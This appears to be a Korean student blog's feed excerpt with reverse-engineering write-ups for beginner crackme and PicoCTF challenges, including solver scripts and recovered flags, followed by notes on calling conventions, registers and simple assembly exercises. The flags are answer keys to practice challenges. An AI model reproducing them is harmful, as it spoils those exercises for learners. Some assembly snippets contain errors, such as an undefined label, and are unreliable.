<img src="https://velog.velcdn.com/images/shin_yy/post/cf57ace7-a434-47a5-a0d4-ee4685d55709/image.png" alt=""><blockquote>
</blockquote>
<h3 id="풀이">풀이</h3>
문제 파일에 함수 main을 디컴파일 해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/501ee473-9131-4c4e-8322-b80492369328/image.png" alt="">
이 코드를 위에서부터 해석해보면</li>
</ul>
<ol>
<li>변수 v6에 랜덤한 값을 할당한다.</li>
<li>사용자에게 입력 받은 문자열을 변수 v7에 저장한다.</li>
<li>v6와 v7을 XOR 연산하여 8자리 16진수를 변수 s에 저장한다.</li>
<li>변수 s에 들어있는 문자열을 뒤집어 변수 s1에 저장한다.</li>
<li>만약 변수 s1에 들어있는 값이 &#39;a0b4c1d7&#39;과 동일하다면 플래그를 출력한다.
이 순서를 반대로 생각하여 우리가 변수 v7에 입력해야할 값을 찾아보겠다.<blockquote>
</blockquote>
먼저 반대로 생각해보면</li>
<li>&#39;a0b4c1d7&#39;을 뒤집는다. 즉 변수 s1이 &#39;7d1c4b0a&#39;가 되어야한다.</li>
<li>16잔수에서 정수로 v6과 v7을 XOR 연산한다. 따라서 2095886858이라는 키 값이 나온다.</li>
<li>V7 = v6 ^ 2095886858 이므로 이 식을 계산하는 프로그램을 통해 입력해야할 값을 추측해보겠다.</li>
</ol>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/71e19cf7-a47f-49a0-b4d2-55f8e992478c/image.png" alt=""></p>
<blockquote>
</blockquote>
<h3 id="풀이-1">풀이</h3>
<p>문제 파일에 함수 main을 디컴파일 해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/e4ead0a8-c871-41b0-8ed2-a1216cf28f36/image.png" alt="">
if 조건문에서 참이 반환될 시에 Correct를 출력한다.
<img src="https://velog.velcdn.com/images/shin_yy/post/71c64e2d-522c-413b-8ca3-3ff7a02bd91a/image.png" alt="">
조건은 strcmp를 이용해 &quot;Compar3_the_str1ng&quot;과 동일한 문자열이 입력될 경우,
참을 반환한다.</p>
<h1 id="과제">과제</h1>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/943700b4-29dc-4ace-910a-332d8c667f89/image.png" alt=""></p>
<h2 id="rev-basic-1">rev-basic-1</h2>
<blockquote>
</blockquote>
<h3 id="풀이-2">풀이</h3>
<p>문제 파일에 함수 main을 디컴파일 해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/680585fe-e407-46a3-aa78-7068e4b710dc/image.png" alt="">
함수 sub_140001000을 들어가보면</p>
<pre><code>_BOOL8 __fastcall sub_140001000(_BYTE *a1)
{
  if ( *a1 != 67 )
    return 0;
  if ( a1[1] != 111 )
    return 0;
  if ( a1[2] != 109 )
    return 0;
  if ( a1[3] != 112 )
    return 0;
  if ( a1[4] != 97 )
    return 0;
  if ( a1[5] != 114 )
    return 0;
  if ( a1[6] != 51 )
    return 0;
  if ( a1[7] != 95 )
    return 0;
  if ( a1[8] != 116 )
    return 0;
  if ( a1[9] != 104 )
    return 0;
  if ( a1[10] != 101 )
    return 0;
  if ( a1[11] != 95 )
    return 0;
  if ( a1[12] != 99 )
    return 0;
  if ( a1[13] != 104 )
    return 0;
  if ( a1[14] != 52 )
    return 0;
  if ( a1[15] != 114 )
    return 0;
  if ( a1[16] != 97 )
    return 0;
  if ( a1[17] != 99 )
    return 0;
  if ( a1[18] != 116 )
    return 0;
  if ( a1[19] != 51 )
    return 0;
  if ( a1[20] == 114 )
    return a1[21] == 0;
  return 0;
}</code></pre><p>모든 아스키코드 값이 만족할 경우 참이 반화되기 때문에 이를 역으로 출력하는 코드를 작성하면 플래그 값을 얻을 수 있다.</p>
<blockquote>
</blockquote>
<p>풀이코드 없이 조건 아스키코드 값들을 문자열로 변환한 후 제출했다.</p>
<h2 id="rev-basic-2">rev-basic-2</h2>
<blockquote>
</blockquote>
<h3 id="풀이-3">풀이</h3>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/3b39d102-c9f1-41ab-a5a2-348c62efa357/image.png" alt="">
배열 aC와 비교하여 똑같은 값인지 파악한다.
aC에 들어있는 값을은 다음과 같다.
이 문자열과 일치할 경우 Correct를 출력한다.</p>
<pre><code>.data:0000000140003000 aC              db &#39;C&#39;,0   
.data:0000000140003002                 align 4
.data:0000000140003004 aO              db &#39;o&#39;,0
.data:0000000140003006                 align 8
.data:0000000140003008 aM              db &#39;m&#39;,0
.data:000000014000300A                 align 4
.data:000000014000300C aP              db &#39;p&#39;,0
.data:000000014000300E                 align 10h
.data:0000000140003010 a4              db &#39;4&#39;,0
.data:0000000140003012                 align 4
.data:0000000140003014 aR              db &#39;r&#39;,0
.data:0000000140003016                 align 8
.data:0000000140003018 aE              db &#39;e&#39;,0
.data:000000014000301A                 align 4
.data:000000014000301C                 db &#39;_&#39;,0
.data:000000014000301E                 align 20h
.data:0000000140003020 aT              db &#39;t&#39;,0
.data:0000000140003022                 align 4
.data:0000000140003024                 db &#39;h&#39;,0
.data:0000000140003026                 align 8
.data:0000000140003028 aE_0            db &#39;e&#39;,0
.data:000000014000302A                 align 4
.data:000000014000302C                 db &#39;_&#39;,0
.data:000000014000302E                 align 10h
.data:0000000140003030 aA              db &#39;a&#39;,0
.data:0000000140003032                 align 4
.data:0000000140003034 aR_0            db &#39;r&#39;,0
.data:0000000140003036                 align 8
.data:0000000140003038 aR_1            db &#39;r&#39;,0
.data:000000014000303A                 align 4
.data:000000014000303C a4_0            db &#39;4&#39;,0
.data:000000014000303E                 align 20h
.data:0000000140003040 aY              db &#39;y&#39;,0</code></pre><p>풀이코드 없이 문자열을 조합해서 제출헀다.</p>
<h2 id="rev-basic-3">rev-basic-3</h2>
<blockquote>
</blockquote>
<h3 id="풀이-4">풀이</h3>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/768871e8-ed3f-43f2-acac-4e57d557d6a1/image.png" alt="">
XOR 연산을 통해 &#39;A ^ B = C 라면 C ^ B = A 와 C ^ A = B 가 성립&#39; 이라는 조건을 가지고
byte_140003000의 값과 입력한 a1의 값을 계산한다.</p>
<pre><code>.data:0000000140003000 byte_140003000  db 49h, 60h, 67h, 74h, 63h, 67h, 42h, 66h, 80h, 78h, 2 dup(69h)
.data:0000000140003000                                         ; DATA XREF: sub_140001000+28↑o
.data:000000014000300C                 db 7Bh, 99h, 6Dh, 88h, 68h, 94h, 9Fh, 8Dh, 4Dh, 0A5h, 9Dh
.data:0000000140003017                 db 45h, 8 dup(0)</code></pre><blockquote>
</blockquote>
<p>풀이 코드</p>
<pre><code>nums = [0x49, 0x60, 0x67, 0x74, 0x63, 0x67, 0x42, 0x66, 0x80, 0x78, 0x69, 0x69, 0x7B, 0x99, 0x6D, 0x88, 0x68, 0x94, 0x9F, 0x8D, 0x4D, 0xA5, 0x9D, 0x45]
for i in range(len(nums)) :
    tmp1 = nums[i] - (2 * i)
    tmp2 = tmp1 ^ i
    print(chr(tmp2), end = &#39;&#39;)</code></pre><p>각 값에서 (2 * i)만큼 뺀다.
결과에 다시 i를 XOR 연산한다.
결과를 chr()로 문자로 변환해서 출력한다.</p>
<h2 id="rev-basic-4">rev-basic-4</h2>
<blockquote>
</blockquote>
<h3 id="풀이-5">풀이</h3>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/dc736a10-cdf1-42f7-bf56-3e4437d22bf1/image.png" alt=""></p>
<pre><code>(16 * a1[i]) | (a1[i] &gt;&gt; 4) == byte_140003000[i]</code></pre><p>를 만족하는 a1을 찾아야 한다.</p>
<pre><code>(a`1[i] &lt;&lt; 4) | (a1[i] &gt;&gt; 4) == byte_140003000[i]</code></pre><p>16을 곱하는 것은 4비트 왼쪽 시프트하는 것과 같으므로 위와 같이 변경한다.
따라서 해당 프로그램에서 byte_140003000[i]의 앞뒤 위치를 바꾼 수가 a1[i]이 된다. </p>
<pre><code>.data:0000000140003000 byte_140003000  db 24h, 27h, 13h, 2 dup(0C6h), 13h, 16h, 0E6h, 47h, 0F5h
.data:0000000140003000                                         ; DATA XREF: sub_140001000+50↑o
.data:000000014000300A                 db 26h, 96h, 47h, 0F5h, 46h, 27h, 13h, 2 dup(26h), 0C6h
.data:0000000140003014                 db 56h, 0F5h, 2 dup(0C3h), 0F5h, 2 dup(0E3h), 5 dup(0)</code></pre><p>따라서 다음의 연산을 다음의 byte_140003000 값과 진행하면 플래그 값을 찾을 수 있다.</p>
<blockquote>
</blockquote>
<p>풀이 코드</p>
<pre><code>tmp = [0x24, 0x27, 0x13, 0xC6, 0xC6, 0x13, 0x16, 0xE6, 0x47, 0xF5, 0x26, 0x96, 0x47, 0xF5, 0x46, 0x27, 0x13, 0x26, 0x26, 0xC6, 0x56, 0xF5, 0xC3, 0xC3, 0xF5, 0xE3, 0xE3]
for i in range(len(tmp)) :
    print(chr((tmp[i]&lt;&lt;4 | tmp[i]&gt;&gt;4) % (16 * 16)), end=&#39;&#39;)</code></pre><p>이 코드는 tmp 배열에 있는 각각의 16진수 값을 다음의 방식으로 처리한다.
tmp[i] &lt;&lt; 4: 값을 왼쪽으로 4비트 시프트 (곱하기 16과 같음)
tmp[i] &gt;&gt; 4: 값을 오른쪽으로 4비트 시프트 (상위 4비트 추출)
|: 위의 두 값을 비트 OR 연산으로 합친다.
% 256: 결과를 256으로 나눈 나머지를 구해 0~255 범위로 제한한다.</p>
<h2 id="rev-basic-5">rev-basic-5</h2>
<blockquote>
</blockquote>
<h3 id="풀이-6">풀이</h3>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/de270621-42bf-4c31-8ee2-1c6c96e1f706/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/a00aa81a-4651-43b0-994b-d9189fc1ecf9/image.png" alt="">
함수 sub_140001000의 if절을 확인해보면</p>
<pre><code>a1[i + 1] + a1[i] == byte_140003000[i]</code></pre><p>를 만족해야 Correct가 출력됨을 확인 할 수 있다.
따라서 sub_140003000[i]의 값과 a1+i의 값을 역연산하여 플래그 값을 구해야한다.
풀이 코드</p>
<pre><code>j = 0
for j in range(33, 127) :
    i = 0
    n = 0
    res = []
    res.append(j)
    for i in range(len(nums)) :
        res.append(nums[i] - res[i])
    for n in range(len(res)) :
        print(chr(res[n]), end=&#39;&#39;)
    print()
    // 출력했을때 뭐가 많이 나오는데 .. 플래그 같은 것을 때려넣었다..</code></pre><h2 id="rev-basic-6">rev-basic-6</h2>
<blockquote>
</blockquote>
<h3 id="풀이-7">풀이</h3>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/a616a5e2-f574-44a7-99fc-d412e24a703e/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/0d36cb73-d3c6-4d2a-813b-7af7c919d5fa/image.png" alt="">
함수 sub_140001000의 if절을 확인해보면</p>
<pre><code>byte_140003020[a1[i]] == byte_140003000[i]</code></pre><p>를 만족해야함을 확인할 수 있다.</p>
<pre><code>byte_140003020[j] == byte_140003000[i]</code></pre><p>먼저 이를 만족하는 j를 찾고 a1[i]의 값을 설정해주면 된다.</p>
<blockquote>
</blockquote>
<p>풀이 코드</p>
<pre><code>nums = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]
nums2 = [0x00, 0x4D, 0x51, 0x50, 0xEF, 0xFB, 0xC3, 0xCF, 0x92, 0x45, 0x4D, 0xCF, 0xF5, 0x04, 0x40, 0x50, 0x43, 0x63]
&gt;
i = 0
j = 0
res = [0] * 0x12
&gt;
for i in range(len(nums2)) :
    for j in range(len(nums)) :
        if nums2[i] == nums[j] :
            res[i] = j
            print(chr(j), end=&#39;&#39;)
            break</code></pre><p>각 값을 인덱스로 보정 후 XOR하여 복호화하였다.</p>
<h2 id="custom-1">Custom 1</h2>
<blockquote>
</blockquote>
<h3 id="풀이-8">풀이</h3>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/9e9afdfe-dc9a-41f0-95b6-592308338c0d/image.png" alt="">
특정 64비트 정수 배열(v10)에 저장된 암호화된 바이트들을,
HIBYTE(v5) = 66 (== 0x42, 즉 &#39;B&#39;)를 이용해 XOR 연산으로 복호화한 뒤,
사용자가 입력한 플래그와 비교한다.</p>
<pre><code>v10[0] = 0x31397530273B230ELL;
v10[1] = 0x292B2E1D27302336LL;
v10[2] = 0x2B2A213623351D27LL;
v10[3] = 0x31302336311D252CLL;</code></pre><p>입력된 값과 다음에 v10 배열들을 XOR 연산하는 것이다.</p>
<blockquote>
<blockquote>
<p>Layer7{stare_like_watching_stars}
정확하게는 Layer7{stare_like_watching_stars 가 계산된다...</p>
</blockquote>
</blockquote>
<h2 id="custom-2">Custom 2</h2>
<blockquote>
</blockquote>
<h3 id="풀이-9">풀이</h3>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/cf8d60f2-5498-4df4-97de-55f3cf88170f/image.png" alt="">
check2에서 참이 반환되어야 하는 것을 알 수 있다.
<img src="https://velog.velcdn.com/images/shin_yy/post/38d2f35e-d02d-4bd6-9f8c-cbe6c2463b30/image.png" alt="">
입력[i]를 i % 8 + 1 비트 만큼 왼쪽으로 회전시킨 뒤, 5를 더한 값이 v3[i]와 같아야 한다.
따라서 이를 바탕으로 입력과 v3[i] 배열을 비교하여 조건에 따라 비트 연산한다.
그 후 최종값을 산출한다.</p>
<blockquote>
<blockquote>
<p>Layer7{TWF5YmUgaXQncyB0aGUgbG92aW5nIGluIHlvdXIgZXllcw==}</p>
</blockquote>
</blockquote>
<h2 id="custom-3">Custom 3</h2>
<h2 id="picoctf-file-run-1">[PicoCTF] file-run 1</h2>
<blockquote>
</blockquote>
<h3 id="풀이-10">풀이</h3>
<p>문제 파일에 함수 main을 디컴파일 해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/79bdd397-bc9c-410f-9b3c-7753dbce0102/image.png" alt="">
단순히 변수 flag의 값을 출력하는 프로그램인 것 같았다.
따라서 변수 flag에 들어있는 값을 확인해보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/0fb1963e-6395-4a8e-923d-598af4c163ba/image.png" alt=""></p>
<blockquote>
</blockquote>
<p>그 결과로 다음과 같은 플래그 값을 알 수 있었다.</p>
<blockquote>
<blockquote>
<p>picoCTF{U51N6_Y0Ur_F1r57_F113_9bc52b6b}</p>
</blockquote>
</blockquote>
<h2 id="picoctf-file-run-2">[PicoCTF] file-run 2</h2>
<blockquote>
</blockquote>
<h3 id="풀이-11">풀이</h3>
<p>문제 파일에 함수 main을 디컴파일 해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/b55a8bcc-3d2c-47c7-838c-ac5c420d0548/image.png" alt=""></p>
<pre><code>printf(&quot;The flag is : %s&quot;, flag);</code></pre><p>다음과 같은 출력 명령어를 주었으니, 변수 flag에 어떤 값이 들어있는지 확인해보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/06a4490b-997a-4591-b3e2-1c0285608af9/image.png" alt="">
확인해보니 다음과 같은 플래그 값이 들어있었다.</p>
<blockquote>
<blockquote>
<p>picoCTF{F1r57_4rgum3n7_96f2195f}</p>
</blockquote>
</blockquote>
<h2 id="merong">Merong</h2>
<blockquote>
</blockquote>
<h3 id="풀이-12">풀이</h3>
<p>문제 파일에 함수 main을 디컴파일 해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/4a8efb13-cdc6-49e0-8304-426bcb200139/image.png" alt="">
입력받은 s1의 값과 변수 aEae41779bdf799의 값을 비교했을 때,
똑같으면 참, 다르다면 거짓을 반환하는 조건문이다.</p>
<blockquote>
</blockquote>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/31e26cc2-3821-4f8d-b56c-59829c76ea93/image.png" alt="">
따라서 변수 aEae41779bdf799 안에 들어있는 문자열을 조사해 보았다.
그랬더니 다음과 같은 문자열이 입력되었을 때, &#39;참&#39;이 되는 것을 알 수 있었다.</p>
<blockquote>
</blockquote>
<p>함수 main을 디컴파일 했을 때</p>
<pre><code>printf(&quot;flag: FLAG{%S}&quot;, s1);</code></pre><blockquote>
</blockquote>
<p>다음과 같은 출력 명령문을 보았으니 플래그 형식은 FLAG{} 일 것이다.</p>
<blockquote>
</blockquote>
<p>따라서 제출할 플래그 값은 다음과 같다.</p>
<blockquote>
<blockquote>
<p>FLAG{eae41779bdf7990ade62d10c8f550dc1056f6a9f1b48a87d561f4ef49df17220}</p>
</blockquote>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[리버싱 2차시]]></title>
            <link>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-2%EC%B0%A8%EC%8B%9C</link>
            <guid>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-2%EC%B0%A8%EC%8B%9C</guid>
            <pubDate>Fri, 30 May 2025 09:21:56 GMT</pubDate>
            <description><![CDATA[<blockquote>
</blockquote>
<h1 id="함수-호출-규약-calling-convention">함수 호출 규약 (Calling Convention)</h1>
<ul>
<li>호출자와 피호출자 간에 데이터(파라미터)를 전달할 때의 규칙</li>
<li>함수 호출 전후에 레지스터나 스택을 다룰 방법을 정해 놓은 약속<h2 id="함수-호출-규약의-종류">함수 호출 규약의 종류</h2>
CPU 아키텍처와 컴파일러 종류에 따라 호출 규약 역시 바뀜
EX) x64(32bit) / x64-86 (64bit)<blockquote>
</blockquote>
x64(32bit)
레지스터를 통해 피호출자의 인자를 전달하기에는 레지스터의 수가 적어 스택을 이용하는 함수 호출 규약 사용<blockquote>
</blockquote>
<h2 id="x86-호출-규약">x86 호출 규약</h2>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="cdecl">Cdecl</h2>
</li>
<li>인자를 오른쪽에서 왼쪽 순서로 스택에 push</li>
<li>함수 호출 이후, Caller(호출자)가 스택 정리</li>
<li>스택은 낮은 주소에서 높은 주소 방향으로 push</li>
<li>함수 호출 규약을 지정하지 않으면 cdecl을 사용<h2 id="cdecl-stack-frame">Cdecl Stack Frame</h2>
<img src="https://velog.velcdn.com/images/shin_yy/post/f03af9d4-d691-451e-bfec-5ca6b2354097/image.png" alt=""><h3 id="요점">요점</h3>
메모리 구조상 스택은 높은 주소에서 낮은 주소로 올라가며, cdecl은 caller가 스택을 정리한다. 리버싱에서 함수 인자나 지역 변수를 찾을 때 스택 프레임 구조와 오프셋이 핵심이라고 한다. 스택에서는 RET adress가 push되므로, BOF같은 공격이 가능하다.<h2 id="stdcall">Stdcall</h2>
</li>
<li>인자 전달은 오른쪽에서 왼쪽으로 전달하고 피호출자</li>
<li>WinAPI에서 사용하고 함수가 끝나면 스택을 정리<h3 id="cdecl과-stdcall-비교">Cdecl과 Stdcall 비교</h3>
<pre><code>              cdecl                    stdcall
인자 정리        호출자(caller)            피호출자(callee)
인자 전달 순서    오른쪽 &gt; 왼쪽            오른쪽 &gt; 왼쪽
가변 인자 지원    가능                        불가능
함수명 맹글링        그대로(func)                _func@8(인자 크기 포함)
스택 안정성        낮음(호출자 실수 가능)    높음(callee가 항상 정리)
사용 예            일반 C 함수, GCC 환경        Windows 환경</code></pre><h2 id="fastcall">Fastcall</h2>
</li>
<li>성능 향상을 위해 일부 인자를 레지스터를 통해 전달</li>
<li>Microsoft 컴파일러 / Windows 성능이 민감한 코드에 사용</li>
<li>앞의 2~3개 인자는 레지스터에 전달하고 나머지는 스택에 전달</li>
<li>피호출자이며 ECX, EDX를 사용, 성능 향상이 목적<h2 id="fastcall-특징">Fastcall 특징</h2>
<pre><code>인자 전달 순서                     오른쪽 &gt; 왼쪽
첫 번째, 두 번째 인자             ECX, EDX 레지스터
나머지 인자                         스택에 저장
스택 정리                         callee (피호출자)
함수명 맹글링                     _@함수명@인자크기 (MSVC기준)
반환값                            EAX</code></pre><blockquote>
</blockquote>
<h2 id="x86-64-sysv">x86-64-SYSV</h2>
</li>
<li>Linux, MacOs 등에서 사용하는 호출 규약<h3 id="x86-6-system-v">x86-6 System V</h3>
리눅스 및 유닉스 계열 OS에서 널리 사용되는 함수 호출 규약<pre><code>함수 반환값        RAX Register 저장
스택 정렬        16 Byte 단위로 정렬
!! 함수 호출 전에 스택 포인터 RSP는 항상 16의 배수 !!</code></pre><h2 id="x84-64-prologue">x84-64 Prologue</h2>
</li>
<li>함수 시작 직후 실행, 스택 프레임을 설정<h3 id="함수가-실행되기-전">함수가 실행되기 전</h3>
</li>
</ul>
<ol>
<li>Srack Frame 설정</li>
<li>Register 백업</li>
<li>지역 변수 공간 확보 -&gt; 함수 내 메모리 공간을 준비<pre><code>push ebp/rbp        이전 함수의 베이스 포인터 값을 Stack에 저장
&gt;
mov  ebp,esp        현재 stack 포인터(esp)를 base 포인터(ebp)로 복사
                 새로운 스택 프레임 기준 설정
sub     esp,XXX        지역 변수 공간 확보를 위해 stack 포인터를 감소</code></pre><h2 id="x84-64-epilogue">x84-64 Epilogue</h2>
</li>
</ol>
<ul>
<li>함수 종료 직전 실행, 스택 상태 복구 및 호출자에게 제어 반환<h3 id="함수가-종료-후">함수가 종료 후</h3>
</li>
</ul>
<ol>
<li>Srack Frame 해제 -&gt; 함수 호출 전 상태 복구</li>
<li>Regist 및 stack 상태 복원 후, Return Address로 복구<pre><code>mov  esp/ebp        스택 포인터를 Base Pointer 위치로 복구
pop  ebp            이전 함수의 Base Pointer 값 복원
ret                    호출한 함수로 복귀</code></pre><blockquote>
</blockquote>
<h2 id="아키텍처-architecture">아키텍처 (Architecture)</h2>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="아키텍처란">아키텍처란?</h3>
</li>
</ol>
<ul>
<li>CPU가 명령어를 처리하는 방식을 나타냄</li>
<li>하드웨어 시스템의 전반적인 구조와 동작을 나타냄<blockquote>
</blockquote>
<h2 id="x64-register">x64 Register</h2>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="범용-레지스터">범용 레지스터</h2>
<h3 id="데이터-연산을-위해-사용되는-레지스터">데이터 연산을 위해 사용되는 레지스터</h3>
<pre><code>EAX     산술 연산 및 논리 연산 수행 + 함수의 반환값 저장
EBX     메모리 주소 저장
ECX     반복문 사용 시 카운터로 사용
EDX     EAX와 같이 사용 + 큰 수의 곱셈과 나눗셈 연산
EDI     복사할 때 목적지 주소 저장
ESI     데이터를 조작하거나 복사할 때 데이터의 주소 저장
ESP     메모리 스택의 끝 지점 주소 포인터
EBP         메모리 스택의 첫 지점 주소 포인터
EIP        다음에 실행해야 할 명령어의 주소 포인터</code></pre><blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="세그먼트-레지스터">세그먼트 레지스터</h2>
<h3 id="아키텍처-메모리를-세그먼트-단위로-접근할-때-사용되는-특수한-레지스터">아키텍처 메모리를 세그먼트 단위로 접근할 때 사용되는 특수한 레지스터</h3>
<pre><code>CS         기계 명령 포함 코드 세그먼트의 시작 주소를 가리킴
DS         프로그램에 정의된 데이터 영역의 시작 주소를 가리킴
SS         연산 결과 등을 임시로 저장 / 삭제할 때 사용
      스택 영역의 시작부분을 가리킴
ES         추가로 사용된 데이터 세그먼트의 주소를 가리킴
FS         여분 레지스터
GS         여분 레지스터</code></pre><blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="플래그-레지스터">플래그 레지스터</h2>
<h3 id="cpu가-연산을-수행한-후-결과의-상태를-저장하는-특수한-레지스터">CPU가 연산을 수행한 후 결과의 상태를 저장하는 특수한 레지스터</h3>
<h3 id="--조건문-등에-사용되어짐">-&gt; 조건문 등에 사용되어짐</h3>
<pre><code>ZF         연산결과가 0일 경우 참
CF         부호 없는 숫자의 연산 결과가 비트 범위를 넘으면 참
AF         연산 결과 하위 4 bit에서 비트 범위를 넘으면 참
OF         부호 있는 숫자의 연산 결과가 비트 범위를 넘으면 참
SF         연산 결과가 음수면 참
PF         연산 결과에서 1로 된 비트의 수가 짝수면 참
DF         문자열 조작에서 참이면 레지스터 값 감소, 거짓이면 증가
TF         디버깅에 사용</code></pre><blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="명령어-포인터-레지스터">명령어 포인터 레지스터</h2>
<pre><code>rip     CPU가 실행시킬 코드를 가리키며 8byte의 크기를 지님</code></pre></li>
</ul>
<blockquote>
</blockquote>
<h2 id="caller--callee">Caller / Callee</h2>
<ul>
<li>Caller : 호출자. 함수를 호출</li>
<li>Callee : 피호출자. 호출을 당하는 함수<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="ex-c언어-프로그래밍-도중-함수를-호출해야할-때">EX) C언어 프로그래밍 도중 함수를 호출해야할 때</h3>
<pre><code>#include &lt;stdio.h&gt;
int (함수명)(매개변수) {     &lt;- 피호출자 (Callee)</code></pre></li>
</ul>
<hr>
<p>return 0; 
}</p>
<blockquote>
<blockquote>
</blockquote>
<p>int main() {</p>
</blockquote>
<hr>
<p>(함수명)(매개변수);        &lt;- 호출자 (Caller)</p>
<hr>
<p>return 0;
}</p>
<pre><code>

&gt;
# 과제 1
## 1 - 2557
### &quot;Hello World!&quot;를 출력하세요.
### C
&gt;&gt;</code></pre><p>#include &lt;stdio.h&gt;</p>
<blockquote>
<blockquote>
</blockquote>
<p>int main(){
    printf(&quot;Hello World!&quot;);
    return 0;
}</p>
</blockquote>
<pre><code>&gt;
### asm
&gt;&gt;</code></pre><p>section .data
    str db &quot;Hello World!&quot;
    &gt;&gt;
section .text
    global _start
    &gt;&gt;
_start:
    &gt;&gt;
    mov rax, 1        &lt;- 시스템 콜 번호 1 (sys_write)
    mov rdi, 1
    mov rsi, str
    mov rdx, 13
    syscall            &lt;- syscall 실행
    &gt;&gt;
    mov rax, 60
    mov rdi, 0
    syscall</p>
<pre><code>&gt;
### section .data
- db (define byte) : 바이트 단위로 데이터를 정의
- str에 &quot;Hello World!&quot; 문자열 삽입
### _start
- rdi = 1: stdout
- rsi = num: 출력할 문자열
- rdx = 13: 출력할 문자열 길이
- write 시스템 콜을 사용해서 &quot;Hello World!&quot;을 출력
시스템 콜 번호 1은 sys_write

&gt;
## 2 - 10171
### 고양이를 출력하세요.
### C
&gt;&gt;</code></pre><p>#include &lt;stdio.h&gt;</p>
<blockquote>
<blockquote>
</blockquote>
<p>int main(void) {
    printf(&quot;\    /\\n&quot;);
    printf(&quot; )  ( &#39;)\n&quot;);
    printf(&quot;(  /  )\n&quot;);
    printf(&quot; \(__)|\n&quot;);
    return 0;
}</p>
</blockquote>
<pre><code>&gt;
### asm
&gt;&gt;</code></pre><p>section .data
    cat db  &quot;\    /&quot;, 10, <br>                &quot; )  ( &#39;)&quot;, 10, <br>                &quot;(  /  )&quot;, 10, <br>                &quot; (__)|&quot;, 10
    catlen  equ $ - catmsg</p>
<blockquote>
<blockquote>
</blockquote>
<p>section .text
    global _start</p>
<blockquote>
</blockquote>
<p>_start:
    mov     rax, 1
    mov     rdi, 1<br>    mov     rsi, cat
    mov     rdx, catlen 
    syscall</p>
<blockquote>
</blockquote>
<pre><code>; exit(0)
mov     rax, 60        
xor     rdi, rdi        
syscall</code></pre></blockquote>
<pre><code>&gt;
### section .data
- db (define byte) : 바이트 단위로 데이터를 정의
- cat에 출력하고자하는 모양 삽입
### _start
